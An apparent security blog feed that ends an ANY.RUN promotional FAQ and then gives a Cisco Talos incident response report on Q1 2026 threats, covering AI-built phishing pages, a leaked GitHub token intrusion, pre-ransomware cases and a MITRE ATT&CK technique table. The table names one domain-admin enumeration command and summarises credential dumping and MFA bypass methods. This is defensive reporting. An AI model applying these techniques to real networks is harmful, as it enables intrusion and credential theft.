It includes 20 investigations in Threat Intelligence Lookup with AI-assisted search, access to YARA search, and the free Threat Intelligence Reports to evaluate real workflows.
It is not a limited demo. It allows teams to test threat intelligence directly within their SOC processes, using real alerts and investigations.
It is generated from real-world malware analyses in the ANY.RUN Interactive Sandbox, enriched with behavioral data, infrastructure links, and campaign context.
It simplifies query building by translating intent into structured search parameters, reducing time spent on syntax and accelerating investigations.
Yes, paid plans support integration with SIEM, SOAR, and other security systems, enabling automated workflows and enrichment.
SOC teams, MSSPs, and security leaders who want to improve decision speed, reduce uncertainty, and lower incident response costs.
The post More Attack Context for Faster Triage, Response, and Hunting. Now Available to Every SOC appeared first on ANY.RUN’s Cybersecurity Blog.
ANY.RUN’s Cybersecurity Blog – Read More

Talos IR responded to a campaign that leveraged phishing, the most common means of initial access this quarter, to compromise the most targeted industry vertical this quarter: public administration. Notably, the actors leveraged the SoftrAI-based web application development service, marking the first time we have documented the use of a specific AI tool by an adversary in a phishing campaign. Softr was used to generate a credential harvesting page targeting users’ Microsoft Exchange and Outlook Web Access (OWA) accounts.
State-sponsored and criminal actors have been observed abusing large language models (LLMs) to aid in the development of phishing lures, malicious scripts, and other tasks. DDoS-as-a-service actors have adopted AI algorithms for defense evasion and attack orchestration. While this is the first time we have documented the use of a specific AI tool in a Talos IR incident, we have moderate confidence that malicious actors have used Softr’s AI-powered web application creation platform since at May 2023, based on Cisco Umbrella data and other telemetry, and have done so with increasing frequency to date.
This incident demonstrates how AI tools can lower the barrier to entry for less sophisticated actors and/or accelerate the speed of phishing and credential-harvesting campaigns. Using a form template and the “vibe coding” feature, a phishing page like the one used in this attack could be quickly created with a few AI prompts and no code. Phishing pages built with Softr can direct data to a disposable external data store, such as Google Sheets, and send alerts for new captures via email — all without code.
Talos IR experienced its first case involving Crimson Collective, a cyber extortion group that appeared in September 2025. This attack highlighted the use of valid accounts for initial access, the second most commonly observed means of initial access this quarter. This attack also notably involved targeting exploit weaknesses, the second-most observed security weakness, accounting for 25 percent of all engagements. We attribute this activity to Crimson Collective based on IPs associated with the group that were used to scan the victim’s ASA firewalls, as well as an overlap of observed tactics and techniques with publicly reported Crimson Collective attacks.
The incident began when a GitHub Personal Access Token (PAT) was inadvertently published on a public-facing website, exposing the organization to adversaries for several months. Upon obtaining access, the adversary used TruffleHog, an open-source tool commonly utilized by security professionals, to scan thousands of victim GitHub repositories for additional secrets and sensitive information. This approach allows attackers to perform reconnaissance without triggering suspicion, as they are leveraging standard, legitimate tools. The attacker’s discovery of client secrets through TruffleHog enabled further access to the victim’s Azure cloud storage, where they used Microsoft Graph API calls to authenticate, explore, and exfiltrate data. The abuse of legitimate cloud APIs demonstrates a growing trend where threat actors use native platform functionality to blend into normal user activity, making detection more challenging.
In addition to exfiltrating data, the adversary attempted to inject malicious code into multiple GitHub repositories. This code was designed to harvest any new secrets committed in the future, sending them to adversary-controlled infrastructure. Though these attempts were largely thwarted by the expiration of targeted secrets and effective security controls, the tactic reflects an emerging trend of supply chain and development environment attacks.
Pre-ransomware incidents made up just 18 percent of engagements this quarter, and we did not observe any ransomware encryption due to early and swift mitigation from Talos IR. This is a slight increase from last quarter, when ransomware and pre-ransomware collectively comprised 13 percent of engagements, but overall very low compared to Q1 and Q2 2025, when we observed ransomware in 50 percent of engagements. Attribution is challenging in pre-ransomware events because there are no encryptors or ransom notes, but we assess that Rhysida ransomware and MoneyMessage ransomware accounted for two of the engagements.
While we did not observe many active and prolific ransomware-as-a-service (RaaS) operations, like Qilin or Akira, this likely does not indicate these major players are decreasing operations, as their data leak sites remain consistently active.
Talos IR responded to a ransomware incident where the adversary attempted to deploy Rhysida ransomware. While the attack was mitigated in the pre-ransomware stage, we attribute this activity with moderate confidence to Rhysidabased on observed infrastructure that is associated with Rhysida activity and the use of Gootloader, which is commonly leveraged in Rhysida attacks during initial access. Notably, the actors deployed proxy-related DLLs (e.g., “meow_eu.dll”), which we assess were likely related to MeowBackConn, an uncommon backdoor that is closely associated with Gootloader, based on public reporting.
This attack represents several trends that we observed throughout Talos IR engagements in Q1 2026. The environmental weaknesses that enabled this intrusion — exposed WinRM management ports, over-privileged service accounts, and critical logging gaps — directly echo this quarter’s most prominent security weaknesses, including vulnerable or exposed infrastructure, accounting for 25 percent of engagements. Furthermore, the adversary’s use of Remote Desktop Protocol (RDP) for lateral movement is consistent with RDP being the top technique for lateral movement for the previous two quarters (Q3 and Q4 2025).

Public administration and health care were tied as the most targeted industry verticals. Notably, Q3 2025 marked the first time public administration emerged as the most targeted sector in Talos IR engagements, and it has retained that position since. Organizations within the public administration sector are attractive targets as they are often underfunded and use legacy equipment. These entities may have access to sensitive data as well as a low downtime tolerance, making them attractive to financially motivated and espionage-focused threat groups.

Phishing reemerged as the most observed means of gaining initial access, accounting for over a third of the engagements where initial access could be determined. Phishing was the top initial access vector in the first half of 2025, at which point it was surpassed by exploitation of public-facing applications, likely due to the widespread exploitation of vulnerabilities in on-premises Microsoft SharePoint servers, collectively referred to as ToolShell. Since then, we have observeda steady decrease in the exploitation of public-facing applications as an initial access vector from a high of 62 percent to only 18 percent in Q1 2026. Similarly, in this quarter, valid accounts returned to its pre-ToolShell baseline as the second most observed means of gaining initial access, comprising 24 percent of Talos IR engagements. We assess the decline in ToolShell exploitation is likely due to the widespread availability of emergency patches and enhanced security detections, highlighting the importance of timely patching.

35 percent of engagements this quarter involved multi-factor authentication (MFA) weaknesses, an increase from last quarter. This includes incidents where threat actors bypassed MFA and where MFA was either missing or only partially enabled, particularly on remote access services. Adversaries were able to bypass MFA by registering new devices to previously compromised accounts, and in one instance, by configuring Outlook clients to connect directly to Exchange servers, circumventing MFA requirements. Addressing these weaknesses, especially by restricting self-service MFA enrollment and enforcing strong, centralized authentication policies, is essential to reducing risk and strengthening organizational resilience.
Vulnerable or exposed infrastructure was another top security weakness accounting for 25 percent of all engagements, a slight decrease from last quarter. This included exploiting a vulnerability (CVE-2025-20393) in the Spam Quarantine feature of Cisco AsyncOS Software for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager, as well as a vulnerability (CVE-2023-20198) in the web UI feature in Cisco IOS XE Software. Talos also observed exposed management ports (such as WinRM open to the internet), which enabled rapid attacker movement and reconnaissance.
Finally, 18 percent of engagements this quarter involved organizations with insufficient logging capabilities, which hindered investigative efforts. Understanding the full context and chain of events performed by an adversary on a targeted host is vital not only for remediation but also for enhancing defenses and addressing any system vulnerabilities for the future. To address this issue, Talos IR recommends organizations implement a security information and event management (SIEM) solution for centralized logging. In the event an adversary deletes or modifies logs on the host, the SIEM will contain the original logs to support a forensics investigation. Additionally, Talos IR offers a Log Architecture Assessment service, which provides a focused review of an organization’s logs and overall log strategy to identify gaps and offer recommendations that give a complete view of the security environment and strengthen incident response readiness
The tables below represent the MITRE ATT&CK techniques observed in this quarter’s IR engagements and includes relevant examples and the number of times seen. Given that some techniques can fall under multiple tactics, we grouped them under the most relevant tactic based on the way they were leveraged. Please note that this is not an exhaustive list.
Key findings from the MITRE ATT&CK framework include:
|
Tactic |
Technique |
Example |
Estimated times observed |
|
Reconnaissance |
T1589.002: Gather Victim Identity Information: Email Addresses |
The adversary enumeratedinternal processes and identifiedvendor emails to facilitate their fraudulent ordering scheme. |
1 |
|
|
T1595: Active Scanning
|
The adversary scanned public-facing websites to understand the target environment. |
2 |
|
|
T1593: Search Open Websites/Domains |
The adversary scanned the web to obtain Github PATs. |
1 |
|
Initial access |
T1566: Phishing |
The adversary used malicious emails and social engineering to compromise user accounts and facilitate fraudulent purchase orders. |
5 |
|
|
T1189: Drive-by compromise |
The adversary registered several domains that masquerade as being related to VMware, and manipulated the SEO to show them at the top when searching for keywords such as VMware |
3 |
|
|
T1078: Valid Accounts |
The adversary successfully gained access to the environment by using compromised user credentials |
4 |
|
|
T1190: Exploit public-facing applications |
Two internet facing Linux servers running Apache and an LMS application were targeted. |
3 |
|
Execution |
T1204.002: User Execution: Malicious File |
The victim downloaded a malicious installer on their personal host, connected the host to their company’s network, transferred the malware to their primary domain controller, then executed the malware. |
3 |
|
|
T1204.001: User Execution: Malicious link |
The victim clicked on a link that led to a fake DocuSign document hosted on adobe[.]com |
5 |
|
|
T1059.001: Command and Scripting Interpreter: PowerShell |
The adversary used PowerShell commands and scripts for execution. |
4 |
|
|
T1059.006: Command and Scripting Interpreter: Python |
The adversary used automated Python scripts to interact with the environment. |
1 |
|
|
T1059.005: Command and Scripting Interpreter: MSHTA |
The adversary attempted to use mshta.exe to retrieve and execute a remote malicious payload from an external URL. |
1 |
|
Persistence |
T1556.006: ModifyAuthentication Process: Multi-Factor Authentication |
The adversary registered their own malicious MFA devices to maintain access to compromised accounts. |
2 |
|
|
T1219: Remote Access Software |
The adversary installed and used AnyDesk for unauthorized remote access. |
1 |
|
|
T1053.005: Scheduled Task/Job: Scheduled Task |
The adversary configured tasks to run on a schedule or at system startup. |
1 |
|
|
T1505: Server Software Component |
The adversary installed malware on breached devices to facilitateremote command execution via HTTP. |
1 |
|
Privilege escalation |
T1068: Exploitation for Privilege Escalation |
The adversary escalated to SYSTEM level privileges, which may have provided access to cached credentials in memory or registry hive. |
1 |
|
|
T1548: Abuse Elevation Control Mechanism |
The adversary used ExecutionPolicy Bypass in PowerShell and attempted to add users to the local Administrators group. |
1 |
|
|
T1078 Valid Accounts |
The adversary bypassed standard access controls by using compromised accounts with existing high-level privileges. |
1 |
|
Defense evasion |
T1070.003: Indicator Removal on Host: Clear Command History |
The adversary used the terminal emulator “ConEmu” to run commands, intentionally avoiding log generation. |
2 |
|
|
T1070.001: Indicator Removal: Clear Windows Event Logs |
The adversary deleted logs on compromised devices to limit forensic findings. |
1 |
|
|
T1556: ModifyAuthentication Process |
The adversary set up an Outlook client Outlook client to connect to the Exchange Server and was able to send messages via that path which bypasses the requirement for MFA via Duo. |
1 |
|
|
T1562.001: Impair Defenses: Disable or Modify Tools |
The adversary was able to uninstall EDR agents from hosts and attempted to delete Windows Defender policies. |
4 |
|
Credential access
|
T1003.002: OS Credential Dumping: Security Account Manager |
The adversary saved SAM and SYSTEM registry hives to extract local account hashes. |
2 |
|
|
T1003.003: OS Credential Dumping: NTDS |
The adversary dumped the ntds.dit file from Domain Controllers to obtain domain-wide credential hashes. |
1 |
|
|
T1003.005: Cached Domain Credentials |
The adversary gained NT hashes for multiple domain accounts from cached logon information. |
1 |
|
|
T1557: Adversary-in-the-Middle |
The adversary used an AiTMproxy to capture credentials and session tokens. |
1 |
|
Discovery |
T1087.003: Account Discovery: Email Account |
The adversary used Graph API calls to verify long lists of email addresses and retrieve associated user GUIDs. |
1 |
|
|
T1580: Cloud Infrastructure Discovery |
The adversary performed enumeration of the environment, including gathering OneDrive metadata (drive IDs and child item counts) and user roles. |
1 |
|
|
T1069.002: Permission Groups Discovery: Domain Groups |
The adversary used commands like net group “domain admins” /domain to find high-privilege accounts.
|
1 |
|
|
T1526: Cloud Service Discovery |
The adversary ran the legitimate cybersecurity tool TruffleHog to discover repositories containingclient secrets and personal information. |
1 |
|
Lateral movement |
T1021.002: Remote Services: SMB/Windows Admin Shares |
The adversary used PsExec(communicated over SMB) to move laterally from the compromised domain controller to other servers. |
4 |
|
|
T1047: Windows Management Instrumentation |
The adversary used PowerShell scripts to leverage WMI (Get-WmiObject) to query remote computers. |
3 |
|
|
T1021.001: Remote Services: Remote Desktop Protocol |
The adversary used RDP connections between hosts. |
3 |
|
Collection |
T1530: Data from Cloud Storage Object |
The analysis of M365 Audit Logs showed multiple FileAccessedand FileDownloaded events for documents stored in SharePoint and OneDrive. |
1 |
|
|
T1040 Network Sniffing |
The adversary executed monitor capture commands on specific interfaces to intercept and capture network traffic. |
1 |
|
Command and control |
T1071.001: Application Layer Protocol: Web Protocols |
The adversary used MeshAgentto communicate with the C2 server over WebSockets. |
5 |
|
|
T1102: Web Service |
The adversary leveraged a Telegram URL to issue instructions and download links. |
1 |
|
|
T1572: Protocol Tunneling |
The adversary used a second-stage script to create an HTTPS tunnel directly to the C2 system. |
1 |
|
|
T1201: Traffic Signaling |
The adversary communicated with external infrastructure using regular beaconing or other signaling patterns to maintain C2 or check in with their C2 server. |
1 |
|
Exfiltration |
T1567.002: Exfiltration Over Web Service |
The adversary accessed and exfiltrated internal data, specifically SharePoint files, via web-based channels. |
1 |
|
|
T1041: Exfiltration Over C2 Channel |
The adversary exfiltrated approximately 2,500 client secrets and personal information. |
2 |
|
Impact |
T1657: Financial Theft |
The adversary used company resources to place orders totaling hundreds of thousands of US dollars for various products which were successfully delivered. |
1 |
|
|
T1486 Data Encrypted for Impact |
The adversary encrypted victim data. |
1 |
|
|
T1531 Account Access Removal |
The adversary disabled admin accounts and deleted service accounts in the Active Directory (AD) and Azure |
1 |
|
Software |
Rhysida |
A RaaS, known for posing as a cybersecurity team that “helps” its victims identify security weaknesses in their networks. |
Pre-ransomware engagement |
|
|
SocGholish |
A JavaScript-based loader malware that has been used since at least 2017, primarily for initial access. |
1 |
|
|
Money Message |
A ransomware that emerged in March 2023, and is capable of targeting Windows and Linux systems (including VMware ESXiservers). |
Pre-ransomware engagement |
Cisco Talos Blog – Read More